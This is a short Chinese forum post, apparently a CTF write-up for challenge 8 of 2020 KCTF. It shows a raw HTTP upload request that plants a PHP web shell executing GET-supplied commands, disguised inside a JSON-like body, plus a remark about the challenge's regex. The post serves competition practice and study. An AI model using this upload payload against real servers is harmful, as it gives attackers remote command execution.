首页
社区
课程
招聘
[原创]2020KCTF 第八题 牛刀小试 wp
发表于: 2020-5-1 22:41 6199

[原创]2020KCTF 第八题 牛刀小试 wp

2020-5-1 22:41
6199

贴上传请求报文

POST /index.php HTTP/1.1
Host: 47.102.223.17:2333
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=--------361693857
Content-Length: 183

----------361693857
Content-Disposition: form-data; name="file";filename="1.php"
content-type:text/php

{"asd":"<?php $cmd = $_GET['cmd'];echo `$cmd`;?>"}
----------361693857--

访问链接

2d4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0b7%4i4K6u0W2x3e0l9J5i4K6u0W2x3U0t1K6i4K6u0W2x3e0N6Q4x3@1p5J5x3K6x3K6i4K6u0r3N6i4m8D9L8$3q4V1i4K6u0r3x3e0R3K6x3K6V1I4y4U0t1I4x3g2)9J5k6i4m8Z5M7q4)9K6c8X3y4E0k6q4)9K6c8r3y4S2N6q4)9J5y4e0t1H3i4K6u0W2i4K6u0W2i4K6u0r3i4K6u0W2i4K6u0W2i4K6u0r3i4K6u0W2i4K6u0W2i4K6u0r3i4K6u0W2i4K6u0W2i4K6u0r3k6X3I4S2k6H3`.`.

另外怀疑是不是题目出错了,正则表达式这块出现问题

匹配不到字符

删除首尾/后成功匹配



[培训]科锐逆向工程师培训第53期2025年7月8日开班!

最后于 2020-5-2 11:33 被会飞的锅编辑 ,原因: 上传图片
收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 58782
活跃值: (21900)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
2
图片丢失,重新上传下
2020-5-1 23:30
0
雪    币: 22188
活跃值: (2687)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
kanxue 图片丢失,重新上传下
上传到tmp目录,保存一下就成这样了,折腾了五六次,还没整好
2020-5-2 11:34
0
游客
登录 | 注册 方可回帖
返回